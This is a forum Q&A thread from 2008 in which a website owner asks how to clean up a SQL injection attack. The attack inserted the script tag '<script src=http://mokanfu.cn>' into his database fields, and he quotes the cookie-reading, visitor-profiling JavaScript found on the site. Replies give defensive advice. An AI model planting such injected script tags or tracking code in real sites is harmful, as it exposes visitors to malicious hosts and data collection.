Solved

sql injection attack

Posted on 2008-10-09
3
394 Views
Last Modified: 2012-05-05
I got hit last night with a sql injection that loaded a script into a lot of my fields in mulitple tables.
1I wanted to find out if anyone knows what this script did and how i can get rid of it,
2) and if there are any good sql injection tools that i  can use to find the vulnerable areas.
3)The attack added this to the end of a bunch of fields in my database.  How do i go about doing a replace for all fields in a table or the entire database so that it won't take forever to remove them.

here is the script that was added.


really need help on this
thanks in advance
danny
<script src=http://mokanfu.cn></script>

and here is what the function on the site looks like
 

function y_gVal(iz) {var endstr=document.cookie.indexOf(";",iz);if(endstr==-1) endstr=document.cookie.length;return document.cookie.substring(iz,endstr);} function y_g(name) {var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;var j;while(iyesvisitor){y_c2=y_c2+1;document.cookie="cck_lasttime="+yesctime+"; expires="+y_e.toGMTString()+"; path=/";document.cookie="cck_count="+y_c2+"; expires="+y_e.toGMTString()+"; path=/";}return y_c2;}} var yesdata; yesdata='&refe='+escape(document.referrer)+'&location='+escape(document.location)+'&color='+screen.colorDepth+'x&resolution='+screen.width+'x'+screen.height+'&returning='+cc_k()+'&language='+navigator.systemLanguage+'&ua='+escape(navigator.userAgent); document.write(''); var seraph; if (seraph==null) { seraph=1; document.write(""); }

Open in new window

0
Comment
Question by:norway77
3 Comments
 
LVL 10

Accepted Solution

by:
TAB8 earned 500 total points
ID: 22683204
Hi Norway77 here is a handy link for people that have been slammed with SQL Injection attacks

Microsoft has released an advisory for the recent SQL Injection attacks which points to several tools that will help identify and block these type of attacks.

http://blogs.msdn.com/joestagner/archive/2008/06/24/tools-to-block-and-eradicate-sql-injection.aspx
0
 

Author Closing Comment

by:norway77
ID: 31504739
thanks for your help
0
 
LVL 23

Expert Comment

by:Tiggerito
ID: 22688046
Just realised its closed after I wrote an answer. Might as well add my 2c...

I don't think this is sql injection but form injection.

Were the field in the database related to fields you populate when visitors fill in web forms?

If this is the case here are a few suggestions for protection:
  • Before letting visitors submit, verify its a real person via logon, captcha, question or other sorts of system that block bots and spammers.
  • Don't allow tags in the data. Develop a function to strip undesirable content.
If you want to help protect form sql injection, make sure you escape or remove quotes from any data you include in sql statements.
0

Featured Post

IT, Stop Being Called Into Every Meeting

Highfive is so simple that setting up every meeting room takes just minutes and every employee will be able to start or join a call from any room with ease. Never be called into a meeting just to get it started again. This is how video conferencing should work!

Join & Write a Comment

Slowly Changing Dimension Transformation component in data task flow is very useful for us to manage and control how data changes in SSIS.
International Data Corporation (IDC) prognosticates that before the current the year gets over disbursing on IT framework products to be sent in cloud environs will be $37.1B.
Familiarize people with the process of retrieving data from SQL Server using an Access pass-thru query. Microsoft Access is a very powerful client/server development tool. One of the ways that you can retrieve data from a SQL Server is by using a pa…
This video shows how to set up a shell script to accept a positional parameter when called, pass that to a SQL script, accept the output from the statement back and then manipulate it in the Shell.

760 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

20 Experts available now in Live!

Get 1:1 Help Now